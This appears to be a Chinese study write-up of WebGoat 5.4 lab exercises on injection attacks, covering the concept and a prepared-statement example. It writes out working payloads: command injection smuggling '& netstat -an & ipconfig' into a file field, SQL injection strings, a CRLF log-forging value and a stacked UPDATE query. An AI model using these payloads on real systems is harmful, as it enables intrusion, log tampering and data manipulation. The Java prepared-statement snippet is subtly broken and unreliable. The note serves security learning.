注入攻击是WEB安全领域中一种最为常见的攻击方式。在“跨站脚本攻击”一章中曾经提到过,XSS本质上也是一种针对HTML的注入攻击。而在“我的安全世界观”一章中,提出一个安全设计原则----“数据与代码分离”的原则,它可以说是专门为了解决注入攻击而生的。
注入攻击的本质,是把用户输入的数据当做代码来执行。这里有两个关键条件,第一个是用户能够控制输入;第二个是原本程序要执行的代码,拼接了用户输入的数据。
SQL注入的类型:数字型、字符型
String username = request.getParameter("username"); //获取请求中的变量username的值
String sql = "SELECT id,username,itemsCon FROM items WHERE id = ? "; //使用预编译的SQL语句
PreparedStatement ps = connection.preparedStatement("sql"); //数据库连接创建带有预编译SQL语句的PreparedStatement对象
ps.setString(1,id); //参数绑定
ResultSet rs = ps.executeQuery(); //创建SQL执行的结果集
任意选择一个文件,点击view,页面会提示
ExecResults for 'cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html"'
抓取请求,将HelpFile字段修改为
AccessControlMatrix.help"%20%26%20netstat%20-an%20%26%20ipconfig
注意要使用urlencoder
“ & netstat -an & ipconfig
先用”将前面的命令闭合,最终执行的命令就是:
cmd.exe /c type "E:\safe\WebGoat-5.4\tomcat\webapps\WebGoat\lesson_plans\English\AccessControlMatrix.html" & netstat -an & ipconfig
得到如下结果,命令已被执行
在 station 字段中注入特征字符,能组合成新的 SQL 语句。例子:
SELECT * FROM weather_data WHERE station = 12 and 1=2;
这种攻击基于在日志文件上欺骗人类的眼睛,攻击者可以很容易地擦除攻击日志。
目标:灰色区域代表Web服务器日志上需要录入的信息;使它看上去像是admin用户成功登录的样子;通过增加脚本提升攻击。
Smith%0d%0aLogin Succeeded for username: admin
表单允许用户通过userid查询自己的工资,这个表单存在SQL注入漏洞。数据表“salaries”。 命令格式:
UPDATE table SET column=value WHERE column=value;
分析:需要更新表 salaries,设置 salary 栏的值。使用如下命令:
UPDATE salaries SET salary=999999 WHERE userid='jsmith'
同时也需要结束前一个查询并且打开前一个引号 使指令有效。 综上于是空白处输入以下指令,点击Go:
whatever'; UPDATE salaries SET salary=999999 WHERE userid='jsmith